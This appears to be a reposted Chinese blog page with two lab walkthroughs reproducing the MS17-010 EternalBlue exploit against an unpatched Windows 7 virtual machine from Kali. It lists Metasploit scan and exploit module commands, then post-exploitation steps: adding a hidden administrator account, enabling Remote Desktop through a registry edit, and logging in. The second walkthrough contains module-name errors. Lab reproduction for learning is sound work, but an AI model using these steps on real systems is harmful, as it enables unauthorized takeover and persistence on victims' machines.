MS17-010（永恒之蓝）漏洞分析与复现
Posted 未完成的歌~
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了MS17-010（永恒之蓝）漏洞分析与复现相关的知识，希望对你有一定的参考价值。
文章目录
一、漏洞简介
1、永恒之蓝介绍:
永恒之蓝漏洞（MS17-010），它的爆发源于 WannaCry 勒索病毒的诞生，该病毒是不法分子利用NSA（National Security Agency，美国国家安全局）泄露的漏洞 “EternalBlue”（永恒之蓝）进行改造而成 。勒索病毒的肆虐，俨然是一场全球性互联网灾难，给广大电脑用户造成了巨大损失。据统计，全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理：
永恒之蓝漏洞通过 TCP 的445和139端口，来利用 SMBv1 和 NBT 中的远程代码执行漏洞，通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网，即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本：
目前已知受影响的 Windows 版本包括但不限于：WindowsNT，Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、漏洞复现
复现环境：
-
攻击机：Linux kali（IP：192.168.50.130）
-
靶机：Windows 7 Enterprise with Service Pack 1 (x64)（IP：192.168.50.132）
实验条件：两台机子可以相互ping通，并且靶机（无补丁）开启了445端口，防火墙是关闭的！
复现过程：
1、主机发现：
登录 kali linux，用 nmap 探测本网段存活主机
nmap 192.168.50.0/24
可以看到，靶机的445端口是开放的，而永恒之蓝利用的就是445端口的SMB服务，操作系统溢出漏洞。
2、使用MSF的永恒之蓝漏洞模块
打开MSF：msfconsole
MSF每次打开都会有一个随机的界面，花里胡哨的，不过我喜欢 ~(￣▽￣)~
搜索 ms17-010 代码：search ms17_010
这里可以得到一些工具，其中
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块， exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。
一般配合使用，前者先扫描，若显示有漏洞，再进行攻击。
3、使用ms17-010扫描模块，对靶机进行扫描：
使用模块：
use auxiliary/scanner/smb/smb_ms17_010
设置目标IP或网段：
set rhosts 192.168.50.132
执行扫描：run
如果出现以上情况，就说明存在漏洞。
4、使用ms17-010攻击模块，对靶机进行攻击
使用模块：
use exploit/windows/smb/ms17_010_eternalblue
设置攻击目标IP
set rhosts 192.168.50.132
可以使用 show options 命令查看设置选项
执行攻击：exploit 或 run
攻击完成！
5、得到靶机shell
输入：chcp 65001 可解决乱码问题。
解决了，但是没有完全解决。
6、通过shell对靶机进行控制
1、创建新用户 ，语法：net user 用户名 密码 /add
输入：
net user sss 123456 /add
查看用户信息，命令：net user
可以看到添加成功了。
2、将用户sss添加至管理员组
net localgroup administrators sss /add
3、开启远程桌面功能
查看3389端口状态：netstat -ano
看到3389端口并没有开启，开启3389端口，命令：
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3389端口开启。
4、远程桌面连接靶机
rdesktop 192.168.50.132:3389
使用创建的sss用户进行登录
登陆成功！
上面这是一个简单的演示，告诉大家这个漏洞很危险，真正的攻击能做的事情更多。
永恒之蓝(ms17-010)漏洞简介及复现
一、永恒之蓝简介与危害
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。
二、漏洞描述
Windows操作系统的SMBv1协议中存在安全漏洞。攻击者会扫描开放445文件共享端口的Windows机器，向目标机器发送特制报文触发缓冲区溢出，导致在目标机器上远程执行任意代码。
三、ms17-010漏洞复现
1.使用虚拟机打开kali与windows 7查看IP
（1）win 7作为靶机
（2）kali 作为攻击机
2.使用nmap获取目标主机的信息
3.在kali中输入 msfconsole（打印图形化界面，比较慢）
msfconsole -q ：不打印图形界面，可以快速启动
4.进入后输人search ms17-010（搜索漏洞）
5.使用扫描模块：exploit windows/smb/ms17_010_eternalblue
6.使用攻击模块：use exploitwindows/smb/ms17_010_eternalblue
7.查看需要设置的参数：show options
8.添加攻击参数：set+参数名（参数值）
一般修改(设置)ip地址，线程，端口就行
9.run或exploit进行攻击
10.在这里我们已经攻击成功，进入了对方的系统，但是我们看到了一些乱码，我们可以使用命令chcp 65001改变编码格式，解决乱码问题
11. 创建新用户：net user 用户名 密码/add
将用户添加到管理员组：net localgroup administrators 组名 /add
12.kali远程桌面连接win7：rdesktop ip :端口号
以上是关于MS17-010（永恒之蓝）漏洞分析与复现的主要内容，如果未能解决你的问题，请参考以下文章